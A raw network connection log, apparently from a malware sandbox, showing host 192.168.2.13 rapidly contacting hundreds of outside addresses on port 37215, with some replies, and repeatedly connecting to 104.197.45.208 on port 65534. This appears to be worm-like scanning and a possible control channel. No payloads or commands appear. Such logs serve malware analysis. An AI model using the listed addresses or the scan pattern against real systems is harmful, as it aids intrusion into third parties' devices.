Dec 30, 2024 11:58:08.266215086 CET	14099	37215	192.168.2.13	156.232.203.131
Dec 30, 2024 11:58:08.266215086 CET	14099	37215	192.168.2.13	156.100.239.248
Dec 30, 2024 11:58:08.266225100 CET	37215	14099	156.69.67.99	192.168.2.13
Dec 30, 2024 11:58:08.266225100 CET	14099	37215	192.168.2.13	41.72.165.122
Dec 30, 2024 11:58:08.266232014 CET	14099	37215	192.168.2.13	197.106.13.200
Dec 30, 2024 11:58:08.266235113 CET	37215	14099	156.50.127.142	192.168.2.13
Dec 30, 2024 11:58:08.266247988 CET	37215	14099	197.103.40.206	192.168.2.13
Dec 30, 2024 11:58:08.266248941 CET	14099	37215	192.168.2.13	197.223.124.7
Dec 30, 2024 11:58:08.266257048 CET	14099	37215	192.168.2.13	41.81.248.45
Dec 30, 2024 11:58:08.266259909 CET	37215	14099	41.193.10.195	192.168.2.13
Dec 30, 2024 11:58:08.266271114 CET	14099	37215	192.168.2.13	156.50.127.142
Dec 30, 2024 11:58:08.266271114 CET	37215	14099	197.28.210.50	192.168.2.13
Dec 30, 2024 11:58:08.266280890 CET	37215	14099	156.9.158.125	192.168.2.13
Dec 30, 2024 11:58:08.266290903 CET	37215	14099	197.69.196.192	192.168.2.13
Dec 30, 2024 11:58:08.266292095 CET	14099	37215	192.168.2.13	197.103.40.206
Dec 30, 2024 11:58:08.266299963 CET	37215	14099	197.219.201.38	192.168.2.13
Dec 30, 2024 11:58:08.266299963 CET	14099	37215	192.168.2.13	156.69.67.99
Dec 30, 2024 11:58:08.266310930 CET	14099	37215	192.168.2.13	197.28.210.50
Dec 30, 2024 11:58:08.266314983 CET	14099	37215	192.168.2.13	41.193.10.195
Dec 30, 2024 11:58:08.266314983 CET	14099	37215	192.168.2.13	156.9.158.125
Dec 30, 2024 11:58:08.266324043 CET	14099	37215	192.168.2.13	197.69.196.192
Dec 30, 2024 11:58:08.266345024 CET	14099	37215	192.168.2.13	197.219.201.38
Dec 30, 2024 11:58:08.353549004 CET	49146	65534	192.168.2.13	104.197.45.208
Dec 30, 2024 11:58:08.358402014 CET	65534	49146	104.197.45.208	192.168.2.13
Dec 30, 2024 11:58:08.358481884 CET	49146	65534	192.168.2.13	104.197.45.208
Dec 30, 2024 11:58:08.402417898 CET	49146	65534	192.168.2.13	104.197.45.208
Dec 30, 2024 11:58:08.407370090 CET	65534	49146	104.197.45.208	192.168.2.13
Dec 30, 2024 11:58:08.758915901 CET	49148	65534	192.168.2.13	104.197.45.208
Dec 30, 2024 11:58:08.763885975 CET	65534	49148	104.197.45.208	192.168.2.13
Dec 30, 2024 11:58:08.763957024 CET	49148	65534	192.168.2.13	104.197.45.208
Dec 30, 2024 11:58:08.764257908 CET	49148	65534	192.168.2.13	104.197.45.208
Dec 30, 2024 11:58:08.769006968 CET	65534	49148	104.197.45.208	192.168.2.13
Dec 30, 2024 11:58:09.263163090 CET	14099	37215	192.168.2.13	156.140.63.197
Dec 30, 2024 11:58:09.263204098 CET	14099	37215	192.168.2.13	41.124.220.146
Dec 30, 2024 11:58:09.263204098 CET	14099	37215	192.168.2.13	197.25.115.162
Dec 30, 2024 11:58:09.263204098 CET	14099	37215	192.168.2.13	197.204.83.77
Dec 30, 2024 11:58:09.263205051 CET	14099	37215	192.168.2.13	197.157.134.88
Dec 30, 2024 11:58:09.263206005 CET	14099	37215	192.168.2.13	197.28.153.253
Dec 30, 2024 11:58:09.263206005 CET	14099	37215	192.168.2.13	197.186.61.232
Dec 30, 2024 11:58:09.263206005 CET	14099	37215	192.168.2.13	197.67.195.97
Dec 30, 2024 11:58:09.263206005 CET	14099	37215	192.168.2.13	41.28.110.63
Dec 30, 2024 11:58:09.263206005 CET	14099	37215	192.168.2.13	197.248.14.141
Dec 30, 2024 11:58:09.263220072 CET	14099	37215	192.168.2.13	156.15.118.169
Dec 30, 2024 11:58:09.263227940 CET	14099	37215	192.168.2.13	197.144.103.118
Dec 30, 2024 11:58:09.263227940 CET	14099	37215	192.168.2.13	156.248.77.222
Dec 30, 2024 11:58:09.263227940 CET	14099	37215	192.168.2.13	41.76.17.222
Dec 30, 2024 11:58:09.263231039 CET	14099	37215	192.168.2.13	41.164.252.26
Dec 30, 2024 11:58:09.263230085 CET	14099	37215	192.168.2.13	197.57.118.177
Dec 30, 2024 11:58:09.263231039 CET	14099	37215	192.168.2.13	41.10.26.58
Dec 30, 2024 11:58:09.263230085 CET	14099	37215	192.168.2.13	156.192.100.225
Dec 30, 2024 11:58:09.263227940 CET	14099	37215	192.168.2.13	156.196.111.66
Dec 30, 2024 11:58:09.263227940 CET	14099	37215	192.168.2.13	41.76.85.252
Dec 30, 2024 11:58:09.263228893 CET	14099	37215	192.168.2.13	197.64.118.148
Dec 30, 2024 11:58:09.263228893 CET	14099	37215	192.168.2.13	41.44.255.183
Dec 30, 2024 11:58:09.263236046 CET	14099	37215	192.168.2.13	197.139.156.148
Dec 30, 2024 11:58:09.263237000 CET	14099	37215	192.168.2.13	156.157.29.48
Dec 30, 2024 11:58:09.263283968 CET	14099	37215	192.168.2.13	41.247.143.1
Dec 30, 2024 11:58:09.263283968 CET	14099	37215	192.168.2.13	41.202.88.113
Dec 30, 2024 11:58:09.263283968 CET	14099	37215	192.168.2.13	41.139.209.171
Dec 30, 2024 11:58:09.263286114 CET	14099	37215	192.168.2.13	197.199.52.181
Dec 30, 2024 11:58:09.263287067 CET	14099	37215	192.168.2.13	156.123.232.114
Dec 30, 2024 11:58:09.263287067 CET	14099	37215	192.168.2.13	156.230.106.6
Dec 30, 2024 11:58:09.263288021 CET	14099	37215	192.168.2.13	156.22.87.117
Dec 30, 2024 11:58:09.263288021 CET	14099	37215	192.168.2.13	197.145.103.19
Dec 30, 2024 11:58:09.263288021 CET	14099	37215	192.168.2.13	41.52.201.138
Dec 30, 2024 11:58:09.263288021 CET	14099	37215	192.168.2.13	41.51.120.99
Dec 30, 2024 11:58:09.263288021 CET	14099	37215	192.168.2.13	41.95.91.31
Dec 30, 2024 11:58:09.263288021 CET	14099	37215	192.168.2.13	156.125.215.104
Dec 30, 2024 11:58:09.263288021 CET	14099	37215	192.168.2.13	156.23.199.102
Dec 30, 2024 11:58:09.263288021 CET	14099	37215	192.168.2.13	41.59.57.115
Dec 30, 2024 11:58:09.263294935 CET	14099	37215	192.168.2.13	197.81.129.195
Dec 30, 2024 11:58:09.263294935 CET	14099	37215	192.168.2.13	41.107.223.99
Dec 30, 2024 11:58:09.263294935 CET	14099	37215	192.168.2.13	156.152.252.76
Dec 30, 2024 11:58:09.263294935 CET	14099	37215	192.168.2.13	41.139.221.164
Dec 30, 2024 11:58:09.263294935 CET	14099	37215	192.168.2.13	41.128.9.85
Dec 30, 2024 11:58:09.263298035 CET	14099	37215	192.168.2.13	197.64.66.35
Dec 30, 2024 11:58:09.263298035 CET	14099	37215	192.168.2.13	41.13.234.32
Dec 30, 2024 11:58:09.263298035 CET	14099	37215	192.168.2.13	197.200.5.27
Dec 30, 2024 11:58:09.263298035 CET	14099	37215	192.168.2.13	156.152.113.237
Dec 30, 2024 11:58:09.263298035 CET	14099	37215	192.168.2.13	197.184.164.95
Dec 30, 2024 11:58:09.263298035 CET	14099	37215	192.168.2.13	41.103.156.227
Dec 30, 2024 11:58:09.263308048 CET	14099	37215	192.168.2.13	156.51.180.97
Dec 30, 2024 11:58:09.263309002 CET	14099	37215	192.168.2.13	41.139.156.158
Dec 30, 2024 11:58:09.263309002 CET	14099	37215	192.168.2.13	156.145.234.27
Dec 30, 2024 11:58:09.263309002 CET	14099	37215	192.168.2.13	197.76.146.15
Dec 30, 2024 11:58:09.263329029 CET	14099	37215	192.168.2.13	41.99.87.213
Dec 30, 2024 11:58:09.263329029 CET	14099	37215	192.168.2.13	156.73.70.18
Dec 30, 2024 11:58:09.263329029 CET	14099	37215	192.168.2.13	156.119.175.192
Dec 30, 2024 11:58:09.263329029 CET	14099	37215	192.168.2.13	156.232.216.106
Dec 30, 2024 11:58:09.263329029 CET	14099	37215	192.168.2.13	197.91.197.32
Dec 30, 2024 11:58:09.263329029 CET	14099	37215	192.168.2.13	156.148.31.202
Dec 30, 2024 11:58:09.263329029 CET	14099	37215	192.168.2.13	156.214.24.254
Dec 30, 2024 11:58:09.263329029 CET	14099	37215	192.168.2.13	41.123.21.87
Dec 30, 2024 11:58:09.263329029 CET	14099	37215	192.168.2.13	41.191.73.14
Dec 30, 2024 11:58:09.263340950 CET	14099	37215	192.168.2.13	156.176.41.45
Dec 30, 2024 11:58:09.263340950 CET	14099	37215	192.168.2.13	156.68.79.246
Dec 30, 2024 11:58:09.263340950 CET	14099	37215	192.168.2.13	156.152.247.47
Dec 30, 2024 11:58:09.263343096 CET	14099	37215	192.168.2.13	156.252.15.187
Dec 30, 2024 11:58:09.263360023 CET	14099	37215	192.168.2.13	41.107.252.67
Dec 30, 2024 11:58:09.263360023 CET	14099	37215	192.168.2.13	197.98.144.129
Dec 30, 2024 11:58:09.263360977 CET	14099	37215	192.168.2.13	41.128.145.214
Dec 30, 2024 11:58:09.263365030 CET	14099	37215	192.168.2.13	156.134.148.149
Dec 30, 2024 11:58:09.263365030 CET	14099	37215	192.168.2.13	197.75.63.57
Dec 30, 2024 11:58:09.263369083 CET	14099	37215	192.168.2.13	41.17.20.216
Dec 30, 2024 11:58:09.263371944 CET	14099	37215	192.168.2.13	197.155.85.58
Dec 30, 2024 11:58:09.263372898 CET	14099	37215	192.168.2.13	197.116.230.3
Dec 30, 2024 11:58:09.263372898 CET	14099	37215	192.168.2.13	197.139.192.47
Dec 30, 2024 11:58:09.263372898 CET	14099	37215	192.168.2.13	197.116.35.82
Dec 30, 2024 11:58:09.263374090 CET	14099	37215	192.168.2.13	156.67.65.14
Dec 30, 2024 11:58:09.263385057 CET	14099	37215	192.168.2.13	156.253.35.217
Dec 30, 2024 11:58:09.263386965 CET	14099	37215	192.168.2.13	156.147.166.246
Dec 30, 2024 11:58:09.263386965 CET	14099	37215	192.168.2.13	41.196.4.119
Dec 30, 2024 11:58:09.263386965 CET	14099	37215	192.168.2.13	197.0.157.124
Dec 30, 2024 11:58:09.263386965 CET	14099	37215	192.168.2.13	41.185.15.172
Dec 30, 2024 11:58:09.263397932 CET	14099	37215	192.168.2.13	41.184.40.23
Dec 30, 2024 11:58:09.263397932 CET	14099	37215	192.168.2.13	41.30.3.183
Dec 30, 2024 11:58:09.263403893 CET	14099	37215	192.168.2.13	156.67.74.240
Dec 30, 2024 11:58:09.263405085 CET	14099	37215	192.168.2.13	41.160.144.120
Dec 30, 2024 11:58:09.263417959 CET	14099	37215	192.168.2.13	41.97.43.159
Dec 30, 2024 11:58:09.263432980 CET	14099	37215	192.168.2.13	197.244.195.181
Dec 30, 2024 11:58:09.263434887 CET	14099	37215	192.168.2.13	156.131.179.225
Dec 30, 2024 11:58:09.263438940 CET	14099	37215	192.168.2.13	197.140.88.156
Dec 30, 2024 11:58:09.263438940 CET	14099	37215	192.168.2.13	197.125.94.52
Dec 30, 2024 11:58:09.263448000 CET	14099	37215	192.168.2.13	156.53.8.223
Dec 30, 2024 11:58:09.263448000 CET	14099	37215	192.168.2.13	156.72.253.165
Dec 30, 2024 11:58:09.263448000 CET	14099	37215	192.168.2.13	197.149.24.107
Dec 30, 2024 11:58:09.263457060 CET	14099	37215	192.168.2.13	197.102.89.62
Dec 30, 2024 11:58:09.263464928 CET	14099	37215	192.168.2.13	197.9.17.66
Dec 30, 2024 11:58:09.263464928 CET	14099	37215	192.168.2.13	197.40.32.132
Dec 30, 2024 11:58:09.263470888 CET	14099	37215	192.168.2.13	197.97.168.206
Dec 30, 2024 11:58:09.263470888 CET	14099	37215	192.168.2.13	197.74.172.129
Dec 30, 2024 11:58:09.263472080 CET	14099	37215	192.168.2.13	197.170.60.63
Dec 30, 2024 11:58:09.263482094 CET	14099	37215	192.168.2.13	156.42.250.181
Dec 30, 2024 11:58:09.263489962 CET	14099	37215	192.168.2.13	41.58.87.148
Dec 30, 2024 11:58:09.263501883 CET	14099	37215	192.168.2.13	41.105.235.222
Dec 30, 2024 11:58:09.263506889 CET	14099	37215	192.168.2.13	197.49.51.14
Dec 30, 2024 11:58:09.263508081 CET	14099	37215	192.168.2.13	41.234.116.12
Dec 30, 2024 11:58:09.263508081 CET	14099	37215	192.168.2.13	156.205.137.28
Dec 30, 2024 11:58:09.263515949 CET	14099	37215	192.168.2.13	41.62.48.160
Dec 30, 2024 11:58:09.263515949 CET	14099	37215	192.168.2.13	156.173.34.127
Dec 30, 2024 11:58:09.263516903 CET	14099	37215	192.168.2.13	156.152.5.139
Dec 30, 2024 11:58:09.263516903 CET	14099	37215	192.168.2.13	197.220.227.100
Dec 30, 2024 11:58:09.263519049 CET	14099	37215	192.168.2.13	197.25.63.223
Dec 30, 2024 11:58:09.263525009 CET	14099	37215	192.168.2.13	156.0.211.46
Dec 30, 2024 11:58:09.263525009 CET	14099	37215	192.168.2.13	156.88.92.64
Dec 30, 2024 11:58:09.263535023 CET	14099	37215	192.168.2.13	41.252.44.91
Dec 30, 2024 11:58:09.263547897 CET	14099	37215	192.168.2.13	41.188.245.174
Dec 30, 2024 11:58:09.263547897 CET	14099	37215	192.168.2.13	197.134.226.65
Dec 30, 2024 11:58:09.263550997 CET	14099	37215	192.168.2.13	197.243.17.112
Dec 30, 2024 11:58:09.263555050 CET	14099	37215	192.168.2.13	156.47.230.29
Dec 30, 2024 11:58:09.263573885 CET	14099	37215	192.168.2.13	156.1.69.124
Dec 30, 2024 11:58:09.263573885 CET	14099	37215	192.168.2.13	156.16.136.200
Dec 30, 2024 11:58:09.263573885 CET	14099	37215	192.168.2.13	41.129.34.41
Dec 30, 2024 11:58:09.263582945 CET	14099	37215	192.168.2.13	156.89.3.28
Dec 30, 2024 11:58:09.263582945 CET	14099	37215	192.168.2.13	197.222.128.73
Dec 30, 2024 11:58:09.263583899 CET	14099	37215	192.168.2.13	156.85.211.37
Dec 30, 2024 11:58:09.263585091 CET	14099	37215	192.168.2.13	197.204.196.98
Dec 30, 2024 11:58:09.263583899 CET	14099	37215	192.168.2.13	41.78.155.227
Dec 30, 2024 11:58:09.263583899 CET	14099	37215	192.168.2.13	41.241.230.134
Dec 30, 2024 11:58:09.263588905 CET	14099	37215	192.168.2.13	197.111.47.119
Dec 30, 2024 11:58:09.263588905 CET	14099	37215	192.168.2.13	41.188.18.84
Dec 30, 2024 11:58:09.263597012 CET	14099	37215	192.168.2.13	156.11.136.20
Dec 30, 2024 11:58:09.263597965 CET	14099	37215	192.168.2.13	41.82.16.209
Dec 30, 2024 11:58:09.263597965 CET	14099	37215	192.168.2.13	197.12.130.146
Dec 30, 2024 11:58:09.263601065 CET	14099	37215	192.168.2.13	156.188.137.252
Dec 30, 2024 11:58:09.263609886 CET	14099	37215	192.168.2.13	197.226.158.162
Dec 30, 2024 11:58:09.263618946 CET	14099	37215	192.168.2.13	156.178.62.222
Dec 30, 2024 11:58:09.263619900 CET	14099	37215	192.168.2.13	41.168.68.189
Dec 30, 2024 11:58:09.263628006 CET	14099	37215	192.168.2.13	41.57.58.252
Dec 30, 2024 11:58:09.263643980 CET	14099	37215	192.168.2.13	156.80.27.144
Dec 30, 2024 11:58:09.263643980 CET	14099	37215	192.168.2.13	156.28.207.55
Dec 30, 2024 11:58:09.263643980 CET	14099	37215	192.168.2.13	197.8.173.79
Dec 30, 2024 11:58:09.263644934 CET	14099	37215	192.168.2.13	197.177.173.195
Dec 30, 2024 11:58:09.263645887 CET	14099	37215	192.168.2.13	197.57.115.71
Dec 30, 2024 11:58:09.263644934 CET	14099	37215	192.168.2.13	41.134.252.153
Dec 30, 2024 11:58:09.263653994 CET	14099	37215	192.168.2.13	41.195.136.102
Dec 30, 2024 11:58:09.263653994 CET	14099	37215	192.168.2.13	41.197.85.12
Dec 30, 2024 11:58:09.263658047 CET	14099	37215	192.168.2.13	197.100.130.164
Dec 30, 2024 11:58:09.263658047 CET	14099	37215	192.168.2.13	41.176.6.77
Dec 30, 2024 11:58:09.263658047 CET	14099	37215	192.168.2.13	156.167.2.120
Dec 30, 2024 11:58:09.263663054 CET	14099	37215	192.168.2.13	197.131.63.153
Dec 30, 2024 11:58:09.263669968 CET	14099	37215	192.168.2.13	197.28.35.207
Dec 30, 2024 11:58:09.263678074 CET	14099	37215	192.168.2.13	156.37.138.57
Dec 30, 2024 11:58:09.263684988 CET	14099	37215	192.168.2.13	197.191.149.249
Dec 30, 2024 11:58:09.263701916 CET	14099	37215	192.168.2.13	41.0.38.140
Dec 30, 2024 11:58:09.263701916 CET	14099	37215	192.168.2.13	197.250.199.231
Dec 30, 2024 11:58:09.263701916 CET	14099	37215	192.168.2.13	156.202.141.17
Dec 30, 2024 11:58:09.263703108 CET	14099	37215	192.168.2.13	156.239.141.52
Dec 30, 2024 11:58:09.263703108 CET	14099	37215	192.168.2.13	41.137.172.244
Dec 30, 2024 11:58:09.263708115 CET	14099	37215	192.168.2.13	156.236.230.163
Dec 30, 2024 11:58:09.263706923 CET	14099	37215	192.168.2.13	197.95.145.123
Dec 30, 2024 11:58:09.263708115 CET	14099	37215	192.168.2.13	197.96.54.150
Dec 30, 2024 11:58:09.264741898 CET	41748	37215	192.168.2.13	156.66.117.24
Dec 30, 2024 11:58:09.265661001 CET	60198	37215	192.168.2.13	197.213.129.24
Dec 30, 2024 11:58:09.266526937 CET	48962	37215	192.168.2.13	156.154.160.13
Dec 30, 2024 11:58:09.267637014 CET	39968	37215	192.168.2.13	41.116.48.51
Dec 30, 2024 11:58:09.267894030 CET	37215	14099	156.140.63.197	192.168.2.13
Dec 30, 2024 11:58:09.267949104 CET	14099	37215	192.168.2.13	156.140.63.197
Dec 30, 2024 11:58:09.268039942 CET	37215	14099	156.15.118.169	192.168.2.13
Dec 30, 2024 11:58:09.268131971 CET	14099	37215	192.168.2.13	156.15.118.169
Dec 30, 2024 11:58:09.268136024 CET	37215	14099	156.248.77.222	192.168.2.13
Dec 30, 2024 11:58:09.268145084 CET	37215	14099	41.124.220.146	192.168.2.13
Dec 30, 2024 11:58:09.268153906 CET	37215	14099	197.57.118.177	192.168.2.13
Dec 30, 2024 11:58:09.268163919 CET	37215	14099	197.157.134.88	192.168.2.13
Dec 30, 2024 11:58:09.268172026 CET	14099	37215	192.168.2.13	156.248.77.222
Dec 30, 2024 11:58:09.268173933 CET	37215	14099	197.25.115.162	192.168.2.13
Dec 30, 2024 11:58:09.268182993 CET	37215	14099	197.144.103.118	192.168.2.13
Dec 30, 2024 11:58:09.268196106 CET	14099	37215	192.168.2.13	197.57.118.177
Dec 30, 2024 11:58:09.268203974 CET	14099	37215	192.168.2.13	197.157.134.88
Dec 30, 2024 11:58:09.268207073 CET	14099	37215	192.168.2.13	41.124.220.146
Dec 30, 2024 11:58:09.268207073 CET	14099	37215	192.168.2.13	197.25.115.162
Dec 30, 2024 11:58:09.268237114 CET	14099	37215	192.168.2.13	197.144.103.118
Dec 30, 2024 11:58:09.268556118 CET	51962	37215	192.168.2.13	197.145.123.247
Dec 30, 2024 11:58:09.268728018 CET	37215	14099	197.204.83.77	192.168.2.13
Dec 30, 2024 11:58:09.268737078 CET	37215	14099	156.192.100.225	192.168.2.13
Dec 30, 2024 11:58:09.268745899 CET	37215	14099	197.28.153.253	192.168.2.13
Dec 30, 2024 11:58:09.268754959 CET	37215	14099	41.76.17.222	192.168.2.13
Dec 30, 2024 11:58:09.268764019 CET	37215	14099	41.76.85.252	192.168.2.13
Dec 30, 2024 11:58:09.268773079 CET	14099	37215	192.168.2.13	156.192.100.225
Dec 30, 2024 11:58:09.268773079 CET	37215	14099	41.164.252.26	192.168.2.13
Dec 30, 2024 11:58:09.268773079 CET	14099	37215	192.168.2.13	197.28.153.253
Dec 30, 2024 11:58:09.268779039 CET	14099	37215	192.168.2.13	197.204.83.77
Dec 30, 2024 11:58:09.268783092 CET	37215	14099	197.64.118.148	192.168.2.13
Dec 30, 2024 11:58:09.268791914 CET	14099	37215	192.168.2.13	41.76.17.222
Dec 30, 2024 11:58:09.268814087 CET	14099	37215	192.168.2.13	41.164.252.26
Dec 30, 2024 11:58:09.268821955 CET	37215	14099	41.10.26.58	192.168.2.13
Dec 30, 2024 11:58:09.268826008 CET	14099	37215	192.168.2.13	197.64.118.148
Dec 30, 2024 11:58:09.268826008 CET	14099	37215	192.168.2.13	41.76.85.252
Dec 30, 2024 11:58:09.268834114 CET	37215	14099	156.196.111.66	192.168.2.13
Dec 30, 2024 11:58:09.268841982 CET	37215	14099	197.186.61.232	192.168.2.13
Dec 30, 2024 11:58:09.268850088 CET	37215	14099	41.44.255.183	192.168.2.13
Dec 30, 2024 11:58:09.268866062 CET	14099	37215	192.168.2.13	156.196.111.66
Dec 30, 2024 11:58:09.268866062 CET	14099	37215	192.168.2.13	41.10.26.58
Dec 30, 2024 11:58:09.268874884 CET	37215	14099	197.67.195.97	192.168.2.13
Dec 30, 2024 11:58:09.268882990 CET	14099	37215	192.168.2.13	41.44.255.183
Dec 30, 2024 11:58:09.268883944 CET	37215	14099	41.28.110.63	192.168.2.13
Dec 30, 2024 11:58:09.268891096 CET	14099	37215	192.168.2.13	197.186.61.232
Dec 30, 2024 11:58:09.268892050 CET	37215	14099	197.248.14.141	192.168.2.13
Dec 30, 2024 11:58:09.268901110 CET	37215	14099	197.199.52.181	192.168.2.13
Dec 30, 2024 11:58:09.268915892 CET	37215	14099	41.247.143.1	192.168.2.13
Dec 30, 2024 11:58:09.268924952 CET	37215	14099	156.22.87.117	192.168.2.13
Dec 30, 2024 11:58:09.268925905 CET	14099	37215	192.168.2.13	197.67.195.97
Dec 30, 2024 11:58:09.268925905 CET	14099	37215	192.168.2.13	41.28.110.63
Dec 30, 2024 11:58:09.268925905 CET	14099	37215	192.168.2.13	197.248.14.141
Dec 30, 2024 11:58:09.268933058 CET	37215	14099	156.123.232.114	192.168.2.13
Dec 30, 2024 11:58:09.268934965 CET	14099	37215	192.168.2.13	197.199.52.181
Dec 30, 2024 11:58:09.268943071 CET	37215	14099	41.202.88.113	192.168.2.13
Dec 30, 2024 11:58:09.268950939 CET	37215	14099	197.145.103.19	192.168.2.13
Dec 30, 2024 11:58:09.268950939 CET	14099	37215	192.168.2.13	41.247.143.1
Dec 30, 2024 11:58:09.268955946 CET	14099	37215	192.168.2.13	156.22.87.117
Dec 30, 2024 11:58:09.268959045 CET	37215	14099	156.230.106.6	192.168.2.13
Dec 30, 2024 11:58:09.268968105 CET	37215	14099	41.139.209.171	192.168.2.13
Dec 30, 2024 11:58:09.268976927 CET	37215	14099	197.139.156.148	192.168.2.13
Dec 30, 2024 11:58:09.268982887 CET	14099	37215	192.168.2.13	156.123.232.114
Dec 30, 2024 11:58:09.268982887 CET	14099	37215	192.168.2.13	156.230.106.6
Dec 30, 2024 11:58:09.268985033 CET	37215	14099	41.52.201.138	192.168.2.13
Dec 30, 2024 11:58:09.268992901 CET	37215	14099	156.51.180.97	192.168.2.13
Dec 30, 2024 11:58:09.268994093 CET	14099	37215	192.168.2.13	41.202.88.113
Dec 30, 2024 11:58:09.268994093 CET	14099	37215	192.168.2.13	41.139.209.171
Dec 30, 2024 11:58:09.269001961 CET	14099	37215	192.168.2.13	197.145.103.19
Dec 30, 2024 11:58:09.269002914 CET	37215	14099	41.51.120.99	192.168.2.13
Dec 30, 2024 11:58:09.269011974 CET	37215	14099	197.81.129.195	192.168.2.13
Dec 30, 2024 11:58:09.269015074 CET	14099	37215	192.168.2.13	41.52.201.138
Dec 30, 2024 11:58:09.269020081 CET	37215	14099	41.95.91.31	192.168.2.13
Dec 30, 2024 11:58:09.269022942 CET	14099	37215	192.168.2.13	197.139.156.148
Dec 30, 2024 11:58:09.269027948 CET	37215	14099	41.107.223.99	192.168.2.13
Dec 30, 2024 11:58:09.269028902 CET	14099	37215	192.168.2.13	156.51.180.97
Dec 30, 2024 11:58:09.269037008 CET	37215	14099	197.64.66.35	192.168.2.13
Dec 30, 2024 11:58:09.269046068 CET	37215	14099	156.125.215.104	192.168.2.13
Dec 30, 2024 11:58:09.269052029 CET	14099	37215	192.168.2.13	41.51.120.99
Dec 30, 2024 11:58:09.269052982 CET	14099	37215	192.168.2.13	41.95.91.31
Dec 30, 2024 11:58:09.269054890 CET	37215	14099	156.152.252.76	192.168.2.13
Dec 30, 2024 11:58:09.269062042 CET	37215	14099	41.139.156.158	192.168.2.13
Dec 30, 2024 11:58:09.269062996 CET	14099	37215	192.168.2.13	197.81.129.195
Dec 30, 2024 11:58:09.269062996 CET	14099	37215	192.168.2.13	41.107.223.99
Dec 30, 2024 11:58:09.269066095 CET	37215	14099	156.23.199.102	192.168.2.13
Dec 30, 2024 11:58:09.269071102 CET	37215	14099	156.145.234.27	192.168.2.13
Dec 30, 2024 11:58:09.269077063 CET	14099	37215	192.168.2.13	156.125.215.104
Dec 30, 2024 11:58:09.269078016 CET	37215	14099	41.59.57.115	192.168.2.13
Dec 30, 2024 11:58:09.269087076 CET	37215	14099	197.76.146.15	192.168.2.13
Dec 30, 2024 11:58:09.269092083 CET	14099	37215	192.168.2.13	197.64.66.35
Dec 30, 2024 11:58:09.269093037 CET	14099	37215	192.168.2.13	156.152.252.76
Dec 30, 2024 11:58:09.269095898 CET	37215	14099	41.13.234.32	192.168.2.13
Dec 30, 2024 11:58:09.269105911 CET	14099	37215	192.168.2.13	41.139.156.158
Dec 30, 2024 11:58:09.269113064 CET	37215	14099	156.157.29.48	192.168.2.13
Dec 30, 2024 11:58:09.269113064 CET	14099	37215	192.168.2.13	156.23.199.102
Dec 30, 2024 11:58:09.269113064 CET	14099	37215	192.168.2.13	41.59.57.115
Dec 30, 2024 11:58:09.269121885 CET	37215	14099	156.119.175.192	192.168.2.13
Dec 30, 2024 11:58:09.269124031 CET	14099	37215	192.168.2.13	156.145.234.27
Dec 30, 2024 11:58:09.269124031 CET	14099	37215	192.168.2.13	197.76.146.15
Dec 30, 2024 11:58:09.269134998 CET	14099	37215	192.168.2.13	41.13.234.32
Dec 30, 2024 11:58:09.269154072 CET	14099	37215	192.168.2.13	156.119.175.192
Dec 30, 2024 11:58:09.269162893 CET	14099	37215	192.168.2.13	156.157.29.48
Dec 30, 2024 11:58:09.269265890 CET	37215	14099	197.200.5.27	192.168.2.13
Dec 30, 2024 11:58:09.269279003 CET	37215	14099	197.91.197.32	192.168.2.13
Dec 30, 2024 11:58:09.269288063 CET	37215	14099	156.176.41.45	192.168.2.13
Dec 30, 2024 11:58:09.269298077 CET	37215	14099	156.152.113.237	192.168.2.13
Dec 30, 2024 11:58:09.269305944 CET	37215	14099	41.99.87.213	192.168.2.13
Dec 30, 2024 11:58:09.269314051 CET	37215	14099	197.184.164.95	192.168.2.13
Dec 30, 2024 11:58:09.269321918 CET	14099	37215	192.168.2.13	197.91.197.32
Dec 30, 2024 11:58:09.269325972 CET	37215	14099	156.68.79.246	192.168.2.13
Dec 30, 2024 11:58:09.269339085 CET	37215	14099	156.214.24.254	192.168.2.13
Dec 30, 2024 11:58:09.269341946 CET	14099	37215	192.168.2.13	156.176.41.45
Dec 30, 2024 11:58:09.269345999 CET	14099	37215	192.168.2.13	197.200.5.27
Dec 30, 2024 11:58:09.269345999 CET	14099	37215	192.168.2.13	156.152.113.237
Dec 30, 2024 11:58:09.269345999 CET	14099	37215	192.168.2.13	197.184.164.95
Dec 30, 2024 11:58:09.269350052 CET	37215	14099	156.252.15.187	192.168.2.13
Dec 30, 2024 11:58:09.269352913 CET	14099	37215	192.168.2.13	41.99.87.213
Dec 30, 2024 11:58:09.269359112 CET	37215	14099	41.191.73.14	192.168.2.13
Dec 30, 2024 11:58:09.269367933 CET	37215	14099	41.103.156.227	192.168.2.13
Dec 30, 2024 11:58:09.269367933 CET	14099	37215	192.168.2.13	156.68.79.246
Dec 30, 2024 11:58:09.269376993 CET	37215	14099	156.73.70.18	192.168.2.13
Dec 30, 2024 11:58:09.269383907 CET	14099	37215	192.168.2.13	156.252.15.187
Dec 30, 2024 11:58:09.269385099 CET	14099	37215	192.168.2.13	156.214.24.254
Dec 30, 2024 11:58:09.269385099 CET	37215	14099	41.128.145.214	192.168.2.13
Dec 30, 2024 11:58:09.269385099 CET	14099	37215	192.168.2.13	41.191.73.14
Dec 30, 2024 11:58:09.269393921 CET	37215	14099	156.152.247.47	192.168.2.13
Dec 30, 2024 11:58:09.269402027 CET	37215	14099	41.139.221.164	192.168.2.13
Dec 30, 2024 11:58:09.269409895 CET	37215	14099	197.155.85.58	192.168.2.13
Dec 30, 2024 11:58:09.269418001 CET	37215	14099	156.232.216.106	192.168.2.13
Dec 30, 2024 11:58:09.269421101 CET	14099	37215	192.168.2.13	41.128.145.214
Dec 30, 2024 11:58:09.269426107 CET	14099	37215	192.168.2.13	156.73.70.18
Dec 30, 2024 11:58:09.269427061 CET	37215	14099	156.67.65.14	192.168.2.13
Dec 30, 2024 11:58:09.269432068 CET	14099	37215	192.168.2.13	41.103.156.227
Dec 30, 2024 11:58:09.269435883 CET	37215	14099	41.128.9.85	192.168.2.13
Dec 30, 2024 11:58:09.269438028 CET	14099	37215	192.168.2.13	156.152.247.47
Dec 30, 2024 11:58:09.269439936 CET	14099	37215	192.168.2.13	41.139.221.164
Dec 30, 2024 11:58:09.269440889 CET	14099	37215	192.168.2.13	197.155.85.58
Dec 30, 2024 11:58:09.269447088 CET	37215	14099	41.17.20.216	192.168.2.13
Dec 30, 2024 11:58:09.269449949 CET	14099	37215	192.168.2.13	156.232.216.106
Dec 30, 2024 11:58:09.269453049 CET	14099	37215	192.168.2.13	156.67.65.14
Dec 30, 2024 11:58:09.269457102 CET	37215	14099	156.134.148.149	192.168.2.13
Dec 30, 2024 11:58:09.269464970 CET	37215	14099	197.116.230.3	192.168.2.13
